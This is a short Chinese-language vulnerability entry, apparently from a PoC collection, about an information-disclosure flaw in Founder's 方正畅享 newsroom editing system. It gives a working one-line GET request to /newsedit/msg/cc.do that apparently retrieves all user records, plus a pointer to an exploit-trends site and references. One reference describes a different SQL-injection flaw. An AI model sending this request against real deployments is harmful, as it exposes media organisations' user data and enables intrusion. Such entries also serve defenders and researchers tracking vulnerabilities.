Description
方正畅享全媒体采编系统是北京北大方正电子有限公司面向新闻媒体行业推出的内容生产与管理平台。该系统覆盖选题策划、采访写稿、编辑加工、审核签发、多渠道发布等全流程业务，支持报纸、网站、客户端、新媒体等多终端协同采编，广泛应用于报社、融媒体中心等新闻出版单位。方正畅享全媒体采编系统 /newsedit/msg/cc.do 接口存在信息泄露漏洞，攻击者可获取系统用户敏感信息。
方正畅享全媒体采编系统 /newsedit/msg/cc.do 信息泄露漏洞
PoC
GET /newsedit/msg/cc.do?invoke=getAllUser&UserCode=sysAdmin HTTP/1.1
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.References
https://github.com/adminlove520/pocWiki/blob/main/%E6%96%B9%E6%AD%A3%E7%95%85%E4%BA%AB%E5%85%A8%E5%AA%92%E4%BD%93%E6%96%B0%E9%97%BB%E9%87%87%E7%BC%96%E7%B3%BB%E7%BB%9Fbinary.do%E5%AD%98%E5%9C%A8SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md
https://cn-sec.com/archives/2828119.html